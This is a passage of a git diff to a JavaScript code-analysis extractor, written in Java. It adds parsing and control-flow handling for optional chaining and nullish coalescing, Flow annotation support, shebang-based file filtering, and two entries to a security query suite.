TestThrow2.java:6:7:8:3 | stmt | | TestThrow2.java:6:7:8:3 | stmt | TestThrow2.java:7:4:7:13 | stmt | diff --git a/javascript/config/suites/javascript/security b/javascript/config/suites/javascript/security index 7c5f4a8fec5..2e010b5abd8 100644 --- a/javascript/config/suites/javascript/security +++ b/javascript/config/suites/javascript/security @@ -10,6 +10,7 @@ + semmlecode-javascript-queries/Security/CWE-079/Xss.ql: /Security/CWE/CWE-079 + semmlecode-javascript-queries/Security/CWE-089/SqlInjection.ql: /Security/CWE/CWE-089 + semmlecode-javascript-queries/Security/CWE-094/CodeInjection.ql: /Security/CWE/CWE-094 ++ semmlecode-javascript-queries/Security/CWE-094/UnsafeDynamicMethodAccess.ql: /Security/CWE/CWE-094 + semmlecode-javascript-queries/Security/CWE-116/IncompleteSanitization.ql: /Security/CWE/CWE-116 + semmlecode-javascript-queries/Security/CWE-116/DoubleEscaping.ql: /Security/CWE/CWE-116 + semmlecode-javascript-queries/Security/CWE-134/TaintedFormatString.ql: /Security/CWE/CWE-134 @@ -23,12 +24,14 @@ + semmlecode-javascript-queries/Security/CWE-352/MissingCsrfMiddleware.ql: /Security/CWE/CWE-352 + semmlecode-javascript-queries/Security/CWE-400/RemotePropertyInjection.ql: /Security/CWE/CWE-400 + semmlecode-javascript-queries/Security/CWE-502/UnsafeDeserialization.ql: /Security/CWE/CWE-502 ++ semmlecode-javascript-queries/Security/CWE-506/HardcodedDataInterpretedAsCode.ql: /Security/CWE/CWE-506 + semmlecode-javascript-queries/Security/CWE-601/ClientSideUrlRedirect.ql: /Security/CWE/CWE-601 + semmlecode-javascript-queries/Security/CWE-601/ServerSideUrlRedirect.ql: /Security/CWE/CWE-601 + semmlecode-javascript-queries/Security/CWE-611/Xxe.ql: /Security/CWE/CWE-611 + semmlecode-javascript-queries/Security/CWE-640/HostHeaderPoisoningInEmailGeneration.ql: /Security/CWE/CWE-640 + semmlecode-javascript-queries/Security/CWE-643/XpathInjection.ql: /Security/CWE/CWE-643 + semmlecode-javascript-queries/Security/CWE-730/RegExpInjection.ql: /Security/CWE/CWE-730 ++ semmlecode-javascript-queries/Security/CWE-754/UnvalidatedDynamicMethodCall.ql: /Security/CWE/CWE-754 + semmlecode-javascript-queries/Security/CWE-770/MissingRateLimiting.ql: /Security/CWE/CWE-770 + semmlecode-javascript-queries/Security/CWE-776/XmlBomb.ql: /Security/CWE/CWE-776 + semmlecode-javascript-queries/Security/CWE-798/HardcodedCredentials.ql: /Security/CWE/CWE-798 diff --git a/javascript/extractor/src/com/semmle/jcorn/CustomParser.java b/javascript/extractor/src/com/semmle/jcorn/CustomParser.java index 73aa3bad0b4..193642d9247 100644 --- a/javascript/extractor/src/com/semmle/jcorn/CustomParser.java +++ b/javascript/extractor/src/com/semmle/jcorn/CustomParser.java @@ -153,7 +153,7 @@ public class CustomParser extends FlowParser { Identifier name = this.parseIdent(true); this.expect(TokenType.parenL); List args = this.parseExprList(TokenType.parenR, false, false, null); - CallExpression node = new CallExpression(new SourceLocation(startLoc), name, new ArrayList<>(), args); + CallExpression node = new CallExpression(new SourceLocation(startLoc), name, new ArrayList<>(), args, false, false); return this.finishNode(node); } else { return super.parseExprAtom(refDestructuringErrors); @@ -212,7 +212,7 @@ public class CustomParser extends FlowParser { * A.f = function f(...) { ... }; */ SourceLocation memloc = new SourceLocation(iface.getName() + "::" + id.getName(), iface.getLoc().getStart(), id.getLoc().getEnd()); - MemberExpression mem = new MemberExpression(memloc, iface, new Identifier(id.getLoc(), id.getName()), false); + MemberExpression mem = new MemberExpression(memloc, iface, new Identifier(id.getLoc(), id.getName()), false, false, false); AssignmentExpression assgn = new AssignmentExpression(result.getLoc(), "=", mem, ((FunctionDeclaration)result).asFunctionExpression()); return new ExpressionStatement(result.getLoc(), assgn); } diff --git a/javascript/extractor/src/com/semmle/jcorn/Parser.java b/javascript/extractor/src/com/semmle/jcorn/Parser.java index a8b964e330d..47928bc5adc 100644 --- a/javascript/extractor/src/com/semmle/jcorn/Parser.java +++ b/javascript/extractor/src/com/semmle/jcorn/Parser.java @@ -29,6 +29,7 @@ import com.semmle.js.ast.BlockStatement; import com.semmle.js.ast.BreakStatement; import com.semmle.js.ast.CallExpression; import com.semmle.js.ast.CatchClause; +import com.semmle.js.ast.Chainable; import com.semmle.js.ast.ClassBody; import com.semmle.js.ast.ClassDeclaration; import com.semmle.js.ast.ClassExpression; @@ -504,6 +505,18 @@ public class Parser { } } + private Token readToken_question() { // '?' + int next = charAt(this.pos + 1); + int next2 = charAt(this.pos + 2); + if (this.options.esnext()) { + if (next == '.' && !('0' <= next2 && next2 <= '9')) // '?.', but not '?.X' where X is a digit + return this.finishOp(TokenType.questiondot, 2); + if (next == '?') // '??' + return this.finishOp(TokenType.questionquestion, 2); + } + return this.finishOp(TokenType.question, 1); + } + private Token readToken_slash() { // '/' int next = charAt(this.pos + 1); if (this.exprAllowed) { @@ -616,7 +629,7 @@ public class Parser { case 123: ++this.pos; return this.finishToken(TokenType.braceL); case 125: ++this.pos; return this.finishToken(TokenType.braceR); case 58: ++this.pos; return this.finishToken(TokenType.colon); - case 63: ++this.pos; return this.finishToken(TokenType.question); + case 63: return this.readToken_question(); case 96: // '`' if (this.options.ecmaVersion() < 6) break; @@ -1465,17 +1478,19 @@ public class Parser { } } + private boolean isOnOptionalChain(boolean optional, Expression base) { + return optional || base instanceof Chainable && ((Chainable)base).isOnOptionalChain(); + } + /** * Parse a single subscript {@code s}; if more subscripts could follow, return {@code Pair.make(s, true}, * otherwise return {@code Pair.make(s, false)}. */ protected Pair parseSubscript(final Expression base, Position startLoc, boolean noCalls) { boolean maybeAsyncArrow = this.options.ecmaVersion() >= 8 && base instanceof Identifier && "async".equals(((Identifier) base).getName()) && !this.canInsertSemicolon(); - if (this.eat(TokenType.dot)) { - MemberExpression node = new MemberExpression(new SourceLocation(startLoc), base, this.parseIdent(true), false); - return Pair.make(this.finishNode(node), true); - } else if (this.eat(TokenType.bracketL)) { - MemberExpression node = new MemberExpression(new SourceLocation(startLoc), base, this.parseExpression(false, null), true); + boolean optional = this.eat(TokenType.questiondot); + if (this.eat(TokenType.bracketL)) { + MemberExpression node = new MemberExpression(new SourceLocation(startLoc), base, this.parseExpression(false, null), true, optional, isOnOptionalChain(optional, base)); this.expect(TokenType.bracketR); return Pair.make(this.finishNode(node), true); } else if (!noCalls && this.eat(TokenType.parenL)) { @@ -1494,11 +1509,17 @@ public class Parser { this.checkExpressionErrors(refDestructuringErrors, true); if (oldYieldPos > 0) this.yieldPos = oldYieldPos; if (oldAwaitPos > 0) this.awaitPos = oldAwaitPos; - CallExpression node = new CallExpression(new SourceLocation(startLoc), base, new ArrayList<>(), exprList); + CallExpression node = new CallExpression(new SourceLocation(startLoc), base, new ArrayList<>(), exprList, optional, isOnOptionalChain(optional, base)); return Pair.make(this.finishNode(node), true); } else if (this.type == TokenType.backQuote) { + if (isOnOptionalChain(optional, base)) { + this.raise(base, "An optional chain may not be used in a tagged template expression."); + } TaggedTemplateExpression node = new TaggedTemplateExpression(new SourceLocation(startLoc), base, this.parseTemplate(true)); return Pair.make(this.finishNode(node), true); + } else if (optional || this.eat(TokenType.dot)) { + MemberExpression node = new MemberExpression(new SourceLocation(startLoc), base, this.parseIdent(true), false, optional, isOnOptionalChain(optional, base)); + return Pair.make(this.finishNode(node), true); } else { return Pair.make(base, false); } @@ -1719,6 +1740,10 @@ public class Parser { int innerStartPos = this.start; Position innerStartLoc = this.startLoc; Expression callee = this.parseSubscripts(this.parseExprAtom(null), innerStartPos, innerStartLoc, true); + + if (isOnOptionalChain(false, callee)) + this.raise(callee, "An optional chain may not be used in a `new` expression."); + List arguments; if (this.eat(TokenType.parenL)) arguments = this.parseExprList(TokenType.parenR, this.options.ecmaVersion() >= 8, false, null); @@ -2159,9 +2184,12 @@ public class Parser { return new ParenthesizedExpression(node.getLoc(), (Expression) this.toAssignable(expr, isBinding)); } - if (node instanceof MemberExpression) + if (node instanceof MemberExpression) { + if (isOnOptionalChain(false, (MemberExpression)node)) + this.raise(node, "Invalid left-hand side in assignment"); if (!isBinding) return node; + } this.raise(node, "Assigning to rvalue"); } @@ -3016,6 +3044,10 @@ public class Parser { return parseClassPropertyBody(pi, hadConstructor, isStatic); } + protected boolean atGetterSetterName(PropertyInfo pi) { + return !pi.isGenerator && !pi.isAsync && pi.key instanceof Identifier && this.type != TokenType.parenL && (((Identifier) pi.key).getName().equals("get") || ((Identifier) pi.key).getName().equals("set")); + } + /** * Parse a method declaration in a class, assuming that its name has already been consumed. */ @@ -3023,7 +3055,7 @@ public class Parser { pi.kind = "method"; boolean isGetSet = false; if (!pi.computed) { - if (!pi.isGenerator && !pi.isAsync && pi.key instanceof Identifier && this.type != TokenType.parenL && (((Identifier) pi.key).getName().equals("get") || ((Identifier) pi.key).getName().equals("set"))) { + if (atGetterSetterName(pi)) { isGetSet = true; pi.kind = ((Identifier) pi.key).getName(); this.parsePropertyName(pi); diff --git a/javascript/extractor/src/com/semmle/jcorn/TokenType.java b/javascript/extractor/src/com/semmle/jcorn/TokenType.java index 3cced9b72f5..9b6cd88716e 100644 --- a/javascript/extractor/src/com/semmle/jcorn/TokenType.java +++ b/javascript/extractor/src/com/semmle/jcorn/TokenType.java @@ -76,6 +76,7 @@ public class TokenType { semi = new TokenType(new Properties(";").beforeExpr()), colon = new TokenType(new Properties(":").beforeExpr()), dot = new TokenType(new Properties(".")), + questiondot = new TokenType(new Properties("?.")), question = new TokenType(new Properties("?").beforeExpr()), arrow = new TokenType(new Properties("=>").beforeExpr()), template = new TokenType(new Properties("template")), @@ -122,6 +123,7 @@ public class TokenType { } }, prefix = new TokenType(new Properties("prefix").beforeExpr().prefix().startsExpr()), + questionquestion = new TokenType(binop("??", 1)), logicalOR = new TokenType(binop("||", 1)), logicalAND = new TokenType(binop("&&", 2)), bitwiseOR = new TokenType(binop("|", 3)), diff --git a/javascript/extractor/src/com/semmle/jcorn/flow/FlowParser.java b/javascript/extractor/src/com/semmle/jcorn/flow/FlowParser.java index 1aebb862a61..7f6b815bd82 100644 --- a/javascript/extractor/src/com/semmle/jcorn/flow/FlowParser.java +++ b/javascript/extractor/src/com/semmle/jcorn/flow/FlowParser.java @@ -146,6 +146,10 @@ public class FlowParser extends ESNextParser { boolean oldInType = inType; inType = true; this.expect(tok == null ? TokenType.colon : tok); + if (this.type == TokenType.modulo) {// an annotation like '%checks' without a preceeding type + inType = oldInType; + return; + } if (allowLeadingPipeOrAnd) { if (this.type == TokenType.bitwiseAND || this.type == TokenType.bitwiseOR) { this.next(); @@ -223,14 +227,29 @@ public class FlowParser extends ESNextParser { while (this.type != TokenType.braceR) { Position stmtStart = startLoc; - // todo: declare check - this.next(); + if (this.eat(TokenType._import)) { + this.flowParseDeclareImport(stmtStart); + } else { + // todo: declare check + this.next(); - this.flowParseDeclare(stmtStart); + this.flowParseDeclare(stmtStart); + } } this.expect(TokenType.braceR); } + private void flowParseDeclareImport(Position stmtStart) { + String kind = flowParseImportSpecifiers(); + if (kind == null) { + this.raise(stmtStart, "Imports within a `declare module` body must always be `import type` or `import typeof`."); + } + this.expect(TokenType.name); + this.expectContextual("from"); + this.expect(TokenType.string); + this.semicolon(); + } + private void flowParseDeclareModuleExports() { this.expectContextual("module"); this.expect(TokenType.dot); @@ -737,7 +756,7 @@ public class FlowParser extends ESNextParser { private void flowParsePostfixType() { this.flowParsePrimaryType(); - if (this.type == TokenType.bracketL) { + while (this.type == TokenType.bracketL) { this.expect(TokenType.bracketL); this.expect(TokenType.bracketR); } @@ -807,11 +826,20 @@ public class FlowParser extends ESNextParser { // if allowExpression is true then we're parsing an arrow function and if // there's a return type then it's been handled elsewhere this.flowParseTypeAnnotation(); + this.flowParseChecksAnnotation(); } return super.parseFunctionBody(id, params, isArrowFunction); } + private void flowParseChecksAnnotation() { + // predicate functions with the special '%checks' annotation + if (this.type == TokenType.modulo && lookaheadIsIdent("checks", true)) { + this.next(); + this.next(); + } + } + // interfaces @Override protected Statement parseStatement(boolean declaration, boolean topLevel, Set exports) { @@ -975,24 +1003,30 @@ public class FlowParser extends ESNextParser { return param; } + private String flowParseImportSpecifiers() { + String kind = null; + if (this.type == TokenType._typeof) { + kind = "typeof"; + } else if (this.isContextual("type")) { + kind = "type"; + } + if (kind != null) { + String lh = lookahead(4); + if (!lh.isEmpty()) { + int c = lh.codePointAt(0); + if ((Identifiers.isIdentifierStart(c, true) && !"from".equals(lh)) || c == '{' || c == '*') { + this.next(); + } + } + } + return kind; + } + @Override protected List parseImportSpecifiers() { String kind = null; if (flow()) { - if (this.type == TokenType._typeof) { - kind = "typeof"; - } else if (this.isContextual("type")) { - kind = "type"; - } - if (kind != null) { - String lh = lookahead(4); - if (!lh.isEmpty()) { - int c = lh.codePointAt(0); - if ((Identifiers.isIdentifierStart(c, true) && !"from".equals(lh)) || c == '{' || c == '*') { - this.next(); - } - } - } + kind = flowParseImportSpecifiers(); } List specs = super.parseImportSpecifiers(); @@ -1102,6 +1136,7 @@ public class FlowParser extends ESNextParser { boolean oldNoAnonFunctionType = noAnonFunctionType; noAnonFunctionType = true; flowParseTypeAnnotation(); + flowParseChecksAnnotation(); noAnonFunctionType = oldNoAnonFunctionType; if (this.type != TokenType.arrow) unexpected(); @@ -1158,4 +1193,12 @@ public class FlowParser extends ESNextParser { this.eat(TokenType.plusMin); super.parsePropertyName(result); } + + @Override + protected boolean atGetterSetterName(PropertyInfo pi) { + if (flow() && this.isRelational("<")) + return false; + return super.atGetterSetterName(pi); + } + } diff --git a/javascript/extractor/src/com/semmle/js/ast/AST2JSON.java b/javascript/extractor/src/com/semmle/js/ast/AST2JSON.java index ad084f62f75..1ecd911d923 100644 --- a/javascript/extractor/src/com/semmle/js/ast/AST2JSON.java +++ b/javascript/extractor/src/com/semmle/js/ast/AST2JSON.java @@ -215,6 +215,7 @@ public class AST2JSON extends DefaultVisitor { JsonObject result = this.mkNode(nd); result.add("callee", visit(nd.getCallee())); result.add("arguments", visit(nd.getArguments())); + result.add("optional", new JsonPrimitive(nd.isOptional())); return result; } @@ -424,6 +425,7 @@ public class AST2JSON extends DefaultVisitor { result.add("object", visit(nd.getObject())); result.add("property", visit(nd.getProperty())); result.add("computed", new JsonPrimitive(nd.isComputed())); + result.add("optional", new JsonPrimitive(nd.isOptional())); return result; } diff --git a/javascript/extractor/src/com/semmle/js/ast/CallExpression.java b/javascript/extractor/src/com/semmle/js/ast/CallExpression.java index acb9dd1420a..5ef43d15633 100644 --- a/javascript/extractor/src/com/semmle/js/ast/CallExpression.java +++ b/javascript/extractor/src/com/semmle/js/ast/CallExpression.java @@ -8,8 +8,8 @@ import com.semmle.ts.ast.ITypeExpression; * A function call expression such as f(1, 1). */ public class CallExpression extends InvokeExpression { - public CallExpression(SourceLocation loc, Expression callee, List typeArguments, List arguments) { - super("CallExpression", loc, callee, typeArguments, arguments); + public CallExpression(SourceLocation loc, Expression callee, List typeArguments, List arguments, Boolean optional, Boolean onOptionalChain) { + super("CallExpression", loc, callee, typeArguments, arguments, optional, onOptionalChain); } @Override diff --git a/javascript/extractor/src/com/semmle/js/ast/Chainable.java b/javascript/extractor/src/com/semmle/js/ast/Chainable.java new file mode 100644 index 00000000000..ebb3a37f31d --- /dev/null +++ b/javascript/extractor/src/com/semmle/js/ast/Chainable.java @@ -0,0 +1,16 @@ +package com.semmle.js.ast; + +/** + * A chainable expression, such as a member access or function call. + */ +public interface Chainable { + /** + * Is this step of the chain optional? + */ + abstract boolean isOptional(); + + /** + * Is this on an optional chain? + */ + abstract boolean isOnOptionalChain(); +} diff --git a/javascript/extractor/src/com/semmle/js/ast/InvokeExpression.java b/javascript/extractor/src/com/semmle/js/ast/InvokeExpression.java index e8eebe1bc7f..9c6f133138d 100644 --- a/javascript/extractor/src/com/semmle/js/ast/InvokeExpression.java +++ b/javascript/extractor/src/com/semmle/js/ast/InvokeExpression.java @@ -8,20 +8,24 @@ import com.semmle.ts.ast.ITypeExpression; /** * An invocation, that is, either a {@link CallExpression} or a {@link NewExpression}. */ -public abstract class InvokeExpression extends Expression implements INodeWithSymbol { +public abstract class InvokeExpression extends Expression implements INodeWithSymbol, Chainable { private final Expression callee; private final List typeArguments; private final List arguments; + private final boolean optional; + private final boolean onOptionalChain; private int resolvedSignatureId = -1; private int overloadIndex = -1; private int symbol = -1; public InvokeExpression(String type, SourceLocation loc, Expression callee, List typeArguments, - List arguments) { + List arguments, Boolean optional, Boolean onOptionalChain) { super(type, loc); this.callee = callee; this.typeArguments = typeArguments; this.arguments = arguments; + this.optional = optional == Boolean.TRUE; + this.onOptionalChain = onOptionalChain == Boolean.TRUE; } /** @@ -45,6 +49,16 @@ public abstract class InvokeExpression extends Expression implements INodeWithSy return arguments; } + @Override + public boolean isOptional() { + return optional; + } + + @Override + public boolean isOnOptionalChain() { + return onOptionalChain; + } + public int getResolvedSignatureId() { return resolvedSignatureId; } @@ -70,4 +84,4 @@ public abstract class InvokeExpression extends Expression implements INodeWithSy public void setSymbol(int symbol) { this.symbol = symbol; } -} \ No newline at end of file +} diff --git a/javascript/extractor/src/com/semmle/js/ast/MemberExpression.java b/javascript/extractor/src/com/semmle/js/ast/MemberExpression.java index 093e8a5b4c0..a5c4eb531c3 100644 --- a/javascript/extractor/src/com/semmle/js/ast/MemberExpression.java +++ b/javascript/extractor/src/com/semmle/js/ast/MemberExpression.java @@ -6,16 +6,20 @@ import com.semmle.ts.ast.ITypeExpression; /** * A member expression, either computed (e[f]) or static (e.f). */ -public class MemberExpression extends Expression implements ITypeExpression, INodeWithSymbol { +public class MemberExpression extends Expression implements ITypeExpression, INodeWithSymbol, Chainable { private final Expression object, property; private final boolean computed; + private final boolean optional; + private final boolean onOptionalChain; private int symbol = -1; - public MemberExpression(SourceLocation loc, Expression object, Expression property, Boolean computed) { + public MemberExpression(SourceLocation loc, Expression object, Expression property, Boolean computed, Boolean optional, Boolean onOptionalChain) { super("MemberExpression", loc); this.object = object; this.property = property; this.computed = computed == Boolean.TRUE; + this.optional = optional == Boolean.TRUE; + this.onOptionalChain = onOptionalChain == Boolean.TRUE; } @Override @@ -45,6 +49,16 @@ public class MemberExpression extends Expression implements ITypeExpression, INo return computed; } + @Override + public boolean isOptional() { + return optional; + } + + @Override + public boolean isOnOptionalChain() { + return onOptionalChain; + } + @Override public int getSymbol() { return symbol; diff --git a/javascript/extractor/src/com/semmle/js/ast/NewExpression.java b/javascript/extractor/src/com/semmle/js/ast/NewExpression.java index eb5ba5d8eb4..8cd8ad0ea5c 100644 --- a/javascript/extractor/src/com/semmle/js/ast/NewExpression.java +++ b/javascript/extractor/src/com/semmle/js/ast/NewExpression.java @@ -9,7 +9,7 @@ import com.semmle.ts.ast.ITypeExpression; */ public class NewExpression extends InvokeExpression { public NewExpression(SourceLocation loc, Expression callee, List typeArguments, List arguments) { - super("NewExpression", loc, callee, typeArguments, arguments); + super("NewExpression", loc, callee, typeArguments, arguments, false, false); } @Override diff --git a/javascript/extractor/src/com/semmle/js/ast/NodeCopier.java b/javascript/extractor/src/com/semmle/js/ast/NodeCopier.java index 040b594b49b..ef826394779 100644 --- a/javascript/extractor/src/com/semmle/js/ast/NodeCopier.java +++ b/javascript/extractor/src/com/semmle/js/ast/NodeCopier.java @@ -97,7 +97,7 @@ public class NodeCopier implements Visitor { @Override public CallExpression visit(CallExpression nd, Void q) { - return new CallExpression(visit(nd.getLoc()), copy(nd.getCallee()), copy(nd.getTypeArguments()), copy(nd.getArguments())); + return new CallExpression(visit(nd.getLoc()), copy(nd.getCallee()), copy(nd.getTypeArguments()), copy(nd.getArguments()), nd.isOptional(), nd.isOnOptionalChain()); } @Override @@ -140,7 +140,7 @@ public class NodeCopier implements Visitor { @Override public MemberExpression visit(MemberExpression nd, Void q) { - return new MemberExpression(visit(nd.getLoc()), copy(nd.getObject()), copy(nd.getProperty()), nd.isComputed()); + return new MemberExpression(visit(nd.getLoc()), copy(nd.getObject()), copy(nd.getProperty()), nd.isComputed(), nd.isOptional(), nd.isOnOptionalChain()); } @Override diff --git a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java index db1cd18d94d..2e0f2072601 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java @@ -405,6 +405,9 @@ public class ASTExtractor { if (nd.getOverloadIndex() != -1) { trapwriter.addTuple("invoke_expr_overload_index", key, nd.getOverloadIndex()); } + if (nd.isOptional()) { + trapwriter.addTuple("isOptionalChaining", key); + } emitNodeSymbol(nd, key); return key; } @@ -531,6 +534,9 @@ public class ASTExtractor { visit(nd.getObject(), key, 0, baseIdContext); visit(nd.getProperty(), key, 1, nd.isComputed() ? IdContext.varBind : IdContext.label); } + if (nd.isOptional()) { + trapwriter.addTuple("isOptionalChaining", key); + } return key; } @@ -1245,7 +1251,7 @@ public class ASTExtractor { Super superExpr = new Super(fakeLoc("super", loc)); CallExpression superCall = new CallExpression( fakeLoc("super(...args)", loc), - superExpr, new ArrayList<>(), CollectionUtil.makeList(spreadArgs)); + superExpr, new ArrayList<>(), CollectionUtil.makeList(spreadArgs), false, false); ExpressionStatement superCallStmt = new ExpressionStatement( fakeLoc("super(...args);", loc), superCall); body.getBody().add(superCallStmt); diff --git a/javascript/extractor/src/com/semmle/js/extractor/AutoBuild.java b/javascript/extractor/src/com/semmle/js/extractor/AutoBuild.java index 16a0226321c..68e05e46eb4 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/AutoBuild.java +++ b/javascript/extractor/src/com/semmle/js/extractor/AutoBuild.java @@ -31,13 +31,13 @@ import com.semmle.js.parser.TypeScriptParser; import com.semmle.ts.extractor.TypeExtractor; import com.semmle.ts.extractor.TypeTable; import com.semmle.util.data.StringUtil; -import com.semmle.util.defect.Language; import com.semmle.util.exception.Exceptions; import com.semmle.util.exception.ResourceError; import com.semmle.util.exception.UserError; import com.semmle.util.extraction.ExtractorOutputConfig; import com.semmle.util.files.FileUtil; import com.semmle.util.io.csv.CSVReader; +import com.semmle.util.language.LegacyLanguage; import com.semmle.util.process.Env; import com.semmle.util.projectstructure.ProjectLayout; import com.semmle.util.trap.TrapWriter; @@ -179,7 +179,7 @@ public class AutoBuild { public AutoBuild() { this.LGTM_SRC = toRealPath(getPathFromEnvVar("LGTM_SRC")); this.SEMMLE_DIST = getPathFromEnvVar(Env.Var.SEMMLE_DIST.toString()); - this.outputConfig = new ExtractorOutputConfig(Language.JAVASCRIPT); + this.outputConfig = new ExtractorOutputConfig(LegacyLanguage.JAVASCRIPT); this.trapCache = mkTrapCache(); this.typeScriptMode = getEnumFromEnvVar("LGTM_INDEX_TYPESCRIPT", TypeScriptMode.class, TypeScriptMode.BASIC); this.defaultEncoding = getEnvVar("LGTM_INDEX_DEFAULT_ENCODING"); diff --git a/javascript/extractor/src/com/semmle/js/extractor/CFGExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/CFGExtractor.java index 27ecbb571e2..1edee6882d2 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/CFGExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/CFGExtractor.java @@ -24,6 +24,7 @@ import com.semmle.js.ast.BlockStatement; import com.semmle.js.ast.BreakStatement; import com.semmle.js.ast.CallExpression; import com.semmle.js.ast.CatchClause; +import com.semmle.js.ast.Chainable; import com.semmle.js.ast.ClassBody; import com.semmle.js.ast.ClassDeclaration; import com.semmle.js.ast.ClassExpression; @@ -330,9 +331,11 @@ public class CFGExtractor { return nd.getKey().accept(this, v); } - // for binary operators, the operands come first (but not for LogicalExpression, see above) + // for binary operators, the operands come first (but not for short-circuiting expressions), see above) @Override public Node visit(BinaryExpression nd, Void v) { + if ("??".equals(nd.getOperator())) + return nd; return nd.getLeft().accept(this, v); } @@ -776,6 +779,9 @@ public class CFGExtractor { // cache the set of normal control flow successors private final Map followingCache = new LinkedHashMap(); + // map from a node in a chain of property accesses or calls to the successor info for the first node in the chain + private final Map chainRootSuccessors = new LinkedHashMap(); + /** * Generate entry node. */ @@ -1579,8 +1585,16 @@ public class CFGExtractor { @Override public Void visit(BinaryExpression nd, SuccessorInfo i) { - this.seq(nd.getLeft(), nd.getRight(), nd); - succ(nd, i.getGuardedSuccessors(nd)); + if ("??".equals(nd.getOperator())) { + // the nullish coalescing operator is short-circuiting, but we do not add guards for it + succ(nd, First.of(nd.getLeft())); + Object leftSucc = union(First.of(nd.getRight()), i.getAllSuccessors()); // short-circuiting happens with both truthy and falsy values + visit(nd.getLeft(), leftSucc, null); + nd.getRight().accept(this, i); + } else { + this.seq(nd.getLeft(), nd.getRight(), nd); + succ(nd, i.getGuardedSuccessors(nd)); + } return null; } @@ -1637,16 +1651,36 @@ public class CFGExtractor { return null; } + private void preVisitChainable(Chainable chainable, Expression base, SuccessorInfo i) { + if (!chainable.isOnOptionalChain()) // optimization: bookkeeping is only needed for optional chains + return; + // start of chain + chainRootSuccessors.putIfAbsent(chainable, i); + // next step in chain + if (base instanceof Chainable) + chainRootSuccessors.put((Chainable)base, chainRootSuccessors.get(chainable)); + } + + private void postVisitChainable(Chainable chainable, Expression base, boolean optional) { + if (optional) { + succ(base, chainRootSuccessors.get(chainable).getSuccessors(false)); + } + chainRootSuccessors.remove(chainable); + } + @Override public Void visit(MemberExpression nd, SuccessorInfo i) { + preVisitChainable(nd, nd.getObject(), i); seq(nd.getObject(), nd.getProperty(), nd); // property accesses may throw succ(nd, union(this.findTarget(JumpType.THROW, null), i.getGuardedSuccessors(nd))); + postVisitChainable(nd, nd.getObject(), nd.isOptional()); return null; } @Override public Void visit(InvokeExpression nd, SuccessorInfo i) { + preVisitChainable(nd, nd.getCallee(), i); seq(nd.getCallee(), nd.getArguments(), nd); Object succs = i.getGuardedSuccessors(nd); if (nd instanceof CallExpression && nd.getCallee() instanceof Super && !instanceFields.isEmpty()) { @@ -1660,6 +1694,7 @@ public class CFGExtractor { } // calls may throw succ(nd, union(this.findTarget(JumpType.THROW, null), succs)); + postVisitChainable(nd, nd.getCallee(), nd.isOptional()); return null; } diff --git a/javascript/extractor/src/com/semmle/js/extractor/ExprKinds.java b/javascript/extractor/src/com/semmle/js/extractor/ExprKinds.java index d1cf7ecb27c..7e6c022f224 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ExprKinds.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ExprKinds.java @@ -72,6 +72,7 @@ public class ExprKinds { binOpKinds.put("&=", 58); binOpKinds.put("**", 87); binOpKinds.put("**=", 88); + binOpKinds.put("??", 107); } private static final Map unOpKinds = new LinkedHashMap(); diff --git a/javascript/extractor/src/com/semmle/js/extractor/FileExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/FileExtractor.java index 1be577c04ae..1e88d1897cd 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/FileExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/FileExtractor.java @@ -5,6 +5,7 @@ import java.io.File; import java.io.FileInputStream; import java.io.FileReader; import java.io.IOException; +import java.nio.charset.Charset; import java.util.LinkedHashSet; import java.util.Set; import java.util.regex.Pattern; @@ -38,6 +39,11 @@ public class FileExtractor { */ public static final Pattern JSON_OBJECT_START = Pattern.compile("^(?s)\\s*\\{\\s*\"([^\"]|\\\\.)*\"\\s*:.*"); + /** + * The charset for decoding UTF-8 strings. + */ + private static final Charset UTF8_CHARSET = Charset.forName("UTF-8"); + /** * Information about supported file types. */ @@ -169,6 +175,11 @@ public class FileExtractor { if (isXml(bytes, length)) return true; + // Avoid files with an unrecognized shebang header. + if (hasUnrecognizedShebang(bytes, length)) { + return true; + } + return false; } catch (IOException e) { Exceptions.ignore(e, "Let extractor handle this one."); @@ -249,6 +260,38 @@ public class FileExtractor { return false; } + /** + * Returns true if the byte sequence starts with a shebang line that is not + * recognized as a JavaScript interpreter. + */ + private boolean hasUnrecognizedShebang(byte[] bytes, int length) { + // Shebangs preceded by a BOM aren't recognized in UNIX, but the BOM might only + // be present in the source file, to be stripped out in the build process. + int startIndex = skipBOM(bytes, length); + if (startIndex + 2 >= length) return false; + if (bytes[startIndex] != '#' || bytes[startIndex + 1] != '!') { + return false; + } + int endOfLine = -1; + for (int i = startIndex; i < length; ++i) { + if (bytes[i] == '\r' || bytes[i] == '\n') { + endOfLine = i; + break; + } + } + if (endOfLine == -1) { + // The shebang is either very long or there are no other lines in the file. + // Treat this as unrecognized. + return true; + } + // Extract the shebang text + int startOfText = startIndex + "#!".length(); + int lengthOfText = endOfLine - startOfText; + String text = new String(bytes, startOfText, lengthOfText, UTF8_CHARSET); + // Check if the shebang is a recognized JavaScript intepreter. + return !NODE_INVOCATION.matcher(text).find(); + } + @Override public IExtractor mkExtractor(ExtractorConfig config, ExtractorState state) { return new TypeScriptExtractor(config, state.getTypeScriptParser()); diff --git a/javascript/extractor/src/com/semmle/js/extractor/Main.java b/javascript/extractor/src/com/semmle/js/extractor/Main.java index 892fc270353..07cab3804a2 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/Main.java +++ b/javascript/extractor/src/com/semmle/js/extractor/Main.java @@ -17,17 +17,17 @@ import com.semmle.js.extractor.trapcache.DummyTrapCache; import com.semmle.js.extractor.trapcache.ITrapCache; import com.semmle.js.parser.ParsedProject; import com.semmle.js.parser.TypeScriptParser; -import com.semmle.ts.extractor.TypeTable; import com.semmle.ts.extractor.TypeExtractor; +import com.semmle.ts.extractor.TypeTable; import com.semmle.util.data.StringUtil; import com.semmle.util.data.UnitParser; -import com.semmle.util.defect.Language; import com.semmle.util.exception.ResourceError; import com.semmle.util.exception.UserError; import 